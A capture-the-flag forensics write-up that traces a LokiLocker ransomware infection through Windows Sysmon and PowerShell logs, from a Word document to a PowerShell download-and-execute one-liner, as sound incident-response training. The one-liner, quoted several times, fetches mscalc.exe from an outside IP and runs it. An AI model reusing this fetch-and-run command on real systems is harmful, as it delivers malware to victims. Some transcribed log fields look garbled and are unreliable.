

Valhalloween

Description :

As I was walking the neighbor's streets for some Trick-or-Treat, a strange man approached me, saying he was dressed as "The God of Mischief!". He handed me some candy and disappeared. Among the candy bars was a USB in disguise, and when I plugged it.

After unzipping the .zip file we got a directory : logs

This directory contains windows event logs , so I decided to open them with windows “event viewer”

Let's connect to the server and answer the questions :

First question : What are the IP address and port of the server from which the malicious actors downloaded the ransomware?

Note : we can also use the chainsaw command on kali linux but for me I like “event viewer”.

Note: the most important log is Sysmon cz it contains information about the system and the processes executed .

The screenshot shows the Windows Event Viewer interface. At the top, it says "Microsoft-Windows-PowerShell%4Operational" and "Number of events: 188". Below this is a table with columns for Level, Date and Time, and Source. Several entries are listed, all from "PowerShell (Microsoft-Windo...)" at various times on 20/09/2023. A specific event is selected, shown in a larger window below. This window has tabs for "General" and "Details". The "General" tab shows the event ID 4104 and the source "PowerShell (Microsoft-Windows-PowerShell)". The "Details" tab contains a text box with the following content:

```
Creating Scriptblock text (1 of 1):
(new-object system.net.webclient).downloadfile('http://103.162.14.116:8888/mscalc.exe','C:\Users\HoaGay\AppData\Local\Temp\mscalc.exe');start-process 'C:\Users\HoaGay\AppData\Local\Temp\mscalc.exe'

ScriptBlock ID: c2bb0f68-81b5-4a79-9465-a74d32ae2370
Path:
```

103.162.14.116:8888

Next question : According to the sysmon logs, what is the MD5 hash of the ransomware?

Microsoft-Windows-Sysmon%4Operational Number of events: 4098

Level	Date and Time	Source
Information	20/09/2023 04:03:58	Microsoft-Windows-Sysmon

Event 1, Microsoft-Windows-Sysmon

General Details

Friendly View XML View

ProcessId	5UZ4
Image	C:\Users\HoaGay\AppData\Local\Temp\mscalc.exe
FileVersion	1.0.0.0
Description	svchost
Product	svchost
Company	Microsoft
OriginalFileName	svchost.exe
CommandLine	"C:\Users\HoaGay\AppData\Local\Temp\mscalc.exe"
CurrentDirectory	C:\Users\HoaGay\Documents\Subjects\
User	DESKTOP-V0F35DT\HoaGay
LogonGuid	{335cb4aa-604e-650a-56b4-040000000000}
LogonId	0x4b456
TerminalSessionId	1
IntegrityLevel	High
Hashes	MD5=B94F3FF666D9781CB69088658CD53772
ParentProcessGuid	{335cb4aa-60fc-650a-0201-00000000d00}
ParentProcessId	7528

B94F3FF666D9781CB69088658CD53772

Next question : Based on the hash found, determine the family label of the ransomware in the wild from online reports such as Virus Total, Hybrid Analysis, etc.

Just open VirusTotal and search with the hash and you'll get the answer : lokilocker

Next question: What is the name of the task scheduled by the ransomware?

Don't forget that google is your best friend 😊

what is the name of the task scheduled by the ransomware lokilocker

 Copilot

✓ Génération de vos réponses...

Loki

Next question : What are the parent process name and ID of the ransomware process?

Microsoft-Windows-Sysmon%4Operational		Number of events: 4098	Event ID	Task
Level	Date and Time	Source		
Information	20/09/2023 04:03:24	Microsoft-Windows-Sysmon	1	(1)
Information	20/09/2023 04:03:24	Microsoft-Windows-Sysmon	3	(3)
Information	20/09/2023 04:03:24	Microsoft-Windows-Sysmon	3	(3)
Information	20/09/2023 04:03:24	Microsoft-Windows-Sysmon	3	(3)
Information	20/09/2023 04:03:24	Microsoft-Windows-Sysmon	1	(1)
Information	20/09/2023 04:03:23	Microsoft-Windows-Sysmon	1	(1)

Event 1, Microsoft-Windows-Sysmon

General Details

Friendly View XML View

RuleName	-
UtcTime	2023-09-20 03:03:23.066
ProcessGuid	{335cb4aa-60fb-650a-0001-00000000d00}
ProcessId	3856
Image	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileVersion	10.0.19041.3393 (WinBuild.160101.0800)
Description	Windows PowerShell
Product	Microsoft® Windows® Operating System
Company	Microsoft Corporation
OriginalFileName	PowerShell.EXE
CommandLine	powershell.exe (new-object system.net.webclient).downloadfile ('http://103.162.14.116:8888/mscalc.exe','C:\Users\HoaGay\AppData\Local\Temp\mscalc.exe'); process 'C:\Users\HoaGay\AppData\Local\Temp\mscalc.exe'
CurrentDirectory	C:\Users\HoaGay\Documents\Subjects\
User	DESKTOP-V0F35DT\HoaGay
LogonGuid	{335cb4aa-604e-650a-8d1b4-040000000000}

Powershell.exe_3856

Next question : Following the PPID, provide the file path of the initial stage in the infection chain.

Microsoft-Windows-Sysmon%4Operational Number of events: 4098

Level	Date and Time	Source	Event ID
(i) Information	20/09/2023 04:03:24	Microsoft-Windows-Sysmon	
(i) Information	20/09/2023 04:03:24	Microsoft-Windows-Sysmon	
(i) Information	20/09/2023 04:03:24	Microsoft-Windows-Sysmon	
(i) Information	20/09/2023 04:03:24	Microsoft-Windows-Sysmon	
(i) Information	20/09/2023 04:03:23	Microsoft-Windows-Sysmon	
(i) Information	20/09/2023 04:03:22	Microsoft-Windows-Sysmon	
(i) Information	20/09/2023 04:03:22	Microsoft-Windows-Sysmon	

Event 1, Microsoft-Windows-Sysmon

General Details

Friendly View XML View

```
powershell.exe (new-object system.net.webclient).downloadfile
('http://103.162.14.116:8888/mscalc.exe','%temp%\mscalc.exe');start-process '%
%temp%\mscalc.exe'
```

CurrentDirectory C:\Users\HoaGay\Documents\Subjects\
User DESKTOP-V0F35DT\HoaGay
LogonGuid {335cb4aa-604e-650a-8db4-040000000000}
LogonId 0x4b48d
TerminalSessionId 1
IntegrityLevel Medium
Hashes MD5=8A2122E8162DBEF04694B9C3E0B6CDEE
ParentProcessGuid {335cb4aa-60f8-650a-fa00-00000000d00}
ParentProcessId 7280
ParentImage C:\Program Files\Microsoft Office\Office15\WINWORD.EXE
ParentCommandLine "C:\Program Files\Microsoft Office\Office15\WINWORD.EXE" /n
"C:\Users\HoaGay\Documents\Subjects\Unexpe.docx" /o ""
ParentUser DESKTOP-V0F35DT\HoaGay

C:\Users\HoaGay\Documents\Subjects\Unexpe.docx

Next question : When was the first file in the infection chain opened (in UTC)

Microsoft-Windows-Sysmon%4Operational Number of events: 4098

Level	Date and Time	Source	Event ID
(i) Information	20/09/2023 04:03:20	Microsoft-Windows-Sysmon	
(i) Information	20/09/2023 04:03:20	Microsoft-Windows-Sysmon	
(i) Information	20/09/2023 04:03:20	Microsoft-Windows-Sysmon	
(i) Information	20/09/2023 04:03:20	Microsoft-Windows-Sysmon	
(i) Information	20/09/2023 04:03:20	Microsoft-Windows-Sysmon	
(i) Information	20/09/2023 04:03:20	Microsoft-Windows-Sysmon	

Event 1, Microsoft-Windows-Sysmon

General Details

Friendly View XML View

RuleName -
UtcTime 2023-09-20 03:03:20.254
ProcessGuid {335cb4aa-60f8-650a-fa00-00000000d00}
ProcessId 7280
Image C:\Program Files\Microsoft Office\Office15\WINWORD.EXE
FileVersion 15.0.4420.1017
Description Microsoft Word
Product Microsoft Office 2013
Company Microsoft Corporation
OriginalFileName WinWord.exe
CommandLine "C:\Program Files\Microsoft Office\Office15\WINWORD.EXE" /n
"C:\Users\HoaGay\Documents\Subjects\Unexpe.docx" /o ""
CurrentDirectory C:\Users\HoaGay\Documents\Subjects\
User DESKTOP-V0F35DT\HoaGay
LogonGuid {335cb4aa-604e-650a-8db4-040000000000}
LogonId 0x4b48d
TerminalSessionId 1

2023-09-20_03:03:20

Once you answer this question you get the flag .